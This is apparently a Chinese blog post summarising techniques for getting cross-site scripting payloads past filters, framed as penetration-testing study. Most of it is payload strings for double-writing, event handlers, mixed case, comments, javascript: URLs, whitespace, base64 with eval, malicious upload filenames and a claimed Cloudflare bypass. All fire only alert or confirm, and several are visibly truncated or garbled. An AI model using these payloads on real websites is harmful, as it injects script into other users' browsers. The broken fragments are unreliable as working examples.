跨站脚本攻击漏洞XSS绕过22种方式总结

XSS漏洞简介

跨站脚本攻击在目前这个时间节点还是属于一个排位比较高的漏洞,在OWASP TOP10 2021中隶属于注入型漏洞,高居TOP3的排位,可见这个漏洞的普遍性。跨站脚本攻击的学习中我们主要需要明白的是跨站的含义,以及XSS的核心。XSS主流分类分为:反射型,存储型,DOM型三类,比较重要的是存储型。要想学习好XSS,需要重点对WEB应用有一个比较深入的了解,对后端防护规则需要有一个大概的了解,才能在渗透测试中游刃有余,在实际的渗透测试场景中,XSS在大多数情况都是增加了防护规则的,下面就介绍一下常见的XSS绕过的思路,仅仅提供思路,更多的还是需要大家对于漏洞的理解。

前端过滤

burp抓包改包绕过:
通过抓响应包,然后直接删除掉里面的JS校验的代码,核心让JS校验不起作用。
记住一句话: 前端校验等于没有校验。真正的校验还是得后端做。

双写绕过

核心掌握为什么要这样双写。需要知道后端校验的意图。

<scri<script>pt>alert(111)</scri<script>pt>

事件绕过

如:onclick、onmousemove、onblur、oninput事件
主打的就是绕黑名单

onmouseover="alert('miracle')"
onblur=alert(11)
oninput=alert(22)

大小写绕过

主要就是看后端正则校验是否区分了大小写。

<SCRIPT>aLeRT(111)</sCRIpt>

注释干扰绕过

主要还是和正则做对抗:思路思路

<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>

伪协议绕过

这个就要分析源码看有没有相关的属性了,有就可以尝试。

111"> (9527)">xss

< table background= "javascript:alert(9526)"> 

(9528);" >

空格回车Tab绕过

主要和正则对抗:

空格:<img src= "javascript:alert(9527);" >

TAB:< img src= "javasc :ript:alert(9528);" >

回车:< img src= "jav

ascript:

alert('xss');" >

编码绕过

编码绕过的本质就是需要了解编码的发展史,当然能绕过的核心还是要看后端代码是怎么写的。需要掌握计算机运行数据的本质。

base64编码:

如果过滤了 < > ' " script,可以用base64编码

eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文
")'</script>

<script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

document.write("")

上传文件构造xss

上传普通文件更改文件名为xss语句

<script>alert(443)</script>.gif/png

XSS绕过cloudflare

Payload:

<svg onload=alert&#0000000040document.domain)>

XSS绕过过滤

Payload:

"/><svg+svg+svg//On+OnLoAd=confirm(6379)>

XSS(上传图片)

<img src=x onerror=alert('XSS')>.png ">

.png ">

<svg onmouseover=alert(1)>.svg

<<script>alert('xss')<!--a-->a.png

遇到可以上传图片并且可以自定义文件名的时候可以试试,这样上传以后当我们访问这个图片的时候有可能就会触发xss了
以上就是XSS绕过的思路总结啦,借鉴了很多前辈的思路!非常!!!

你可能感兴趣的:(网络安全,xss,xss漏洞,xss绕过,跨站脚本,XSS,by,pass)